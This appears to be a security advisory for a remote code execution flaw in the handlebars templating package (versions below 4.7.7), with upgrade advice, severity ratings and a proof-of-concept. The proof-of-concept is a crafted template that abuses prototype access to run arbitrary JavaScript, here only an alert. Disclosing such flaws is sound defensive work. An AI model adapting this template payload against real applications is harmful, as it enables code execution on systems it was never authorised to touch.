

Remote Code Execution (RCE)

Affecting [handlebars](#) package, versions <4.7.7

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Upgrade [handlebars](#) to version 4.7.7 or higher.

Overview

[handlebars](#) is an extension to the Mustache templating language.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.

POC

```
<script src="https://cdn.jsdelivr.net/npm/handlebars@latest/dist/handlebars.js"></script> <script> // compile the template
var s = `{{#with (__lookupGetter__ "__proto__")}} {{#with (./constructor.getPrototypeOf . "valueOf")}} {{#with
../constructor.prototype}} {{../constructor.defineProperty . "hasOwnProperty" ..}} {{/with}} {{/with}} {{#with
"constructor"}} {{#with split}} {{pop (push "alert('Vulnerable Handlebars JS when compiling in strict mode');")}} {{#with
.}} {{#with (concat (lookup join (slice 0 1)))}} {{#each (slice 2 3)}} {{#with (apply 0 ../. )}} {{.}} {{/with}} {{/each}}
{{/with}} {{/with}} {{/with}} {{/with}} `; var template = Handlebars.compile(s, { strict: true }); // execute the compiled
template and print the output to the console console.log(template({})); </script>
```

References

- [GitHub Commit](#)

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Exploit Maturity Proof of concept

Attack Complexity High

Availability HIGH

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